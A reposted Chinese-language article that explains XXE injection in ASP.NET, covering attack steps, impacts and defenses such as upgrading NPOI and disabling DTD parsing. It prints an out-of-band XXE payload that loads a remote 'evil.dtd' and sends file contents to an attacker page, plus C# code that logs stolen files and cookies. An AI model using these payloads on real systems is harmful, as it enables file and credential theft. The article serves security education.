XXE漏洞,ASP.NET XXE 漏洞


XXE漏洞概述

XXE(XML External Entity Injection) 漏洞發生在應用程序解析 XML 解析時,沒有禁止外部實體的執行的權限,利用支持的協議進行內網探測和入侵(不用的語言支持的協議不一致),
參考https://security.tencent.com/index.php/blog/msg/69
攻擊過程和原理
1.      定義DTD文件,DTD用來定義XML的語義,用來說明XML個節點的數據含義。
2.      黑客建立網站編寫DTD文件,編寫執行的實體代碼。
3.      修改XML進行注入,加入實體內容,同時引入DTD文件。
4.      讓含有XML的文件執行(XML或Excel),使得XML在加載解析時執行。
(Excel可以被工具轉換為XML(修改的xlsx文件里的一個xml文件,修改完后其實這個文件已經是一個不符合excel能夠打開的正常格式文件里,直接上傳修改過后的xlsx文件就好了,excel不能打開 但是對於NPOI來說 他還是可以解析的
危害(https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing)
1.      讀取任意文件。
2.      執行系統命令(暫時查到的是php的擴展腳本可以被執行)。
3.      探測內網端口(利用http協議往外發送內容,檢查是否成功)
4.      攻擊內網(通過webshell的方式將攻擊內容通過xml提交,xml在服務器上有權限訪問內網系統,進行攻擊);
5.      拒絕服務(在實體中定義相互引用的變量,導致服務器一直處於處於計算狀態)
攻防
1.JSON攻擊
假設后台同時能接受客戶端提交的Json和xml,可能會存在漏洞
防護
將提交的JSON轉化為XML進行提交,如果能接受XML的話,可能存在XXE漏洞;如果存在需要定義嚴格的數據接受內容,在頁面提交數據時減少用xml的格式。
 
2.EXCEL攻擊
防護
a)      NPOI:使用版本>=2.2.1。
b)      不適用NPIO解析Excel時對XML解析進行權限控制,需要對Excel結構進行驗證。
3.XML攻擊
只要能成功執行XML中的實體,就會達到攻擊目標。
防護
a) 在默認情況下關閉內聯 DTD 解析(INLINE DTD PARSING)、外部實體、實體,使用白名單來控制允許實用的協議。
b)      檢查XML內容中是否包含外部實體<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
c)      各語言修改方法
 
執行XML解析時出發實體執行
 

// 被注入的XML string xml = "<?xml version=\"1.0\" ?>"; xml = xml + "<!DOCTYPE doc[<!ENTITY % remote SYSTEM \"http://localhost:20234/evil.dtd\"> %remote;%all;]>"; xml = xml + "<doc>&send;</doc>"; 
 
常見DTD
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:20234/Default.aspx?file=%file;'>">
 
將攻擊獲取的文件保存起來
if (Request.Params["file"] != null) { Log.Info("從目標機器上攻擊獲取到的文件內容是file:" + Request.Params["file"]); } if (Request.Params["ckid"] != null) { Log.Info("獲取到的Cookie:" + Request.Params["ckid"]); } 
 
各語言檢查和修改方法


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM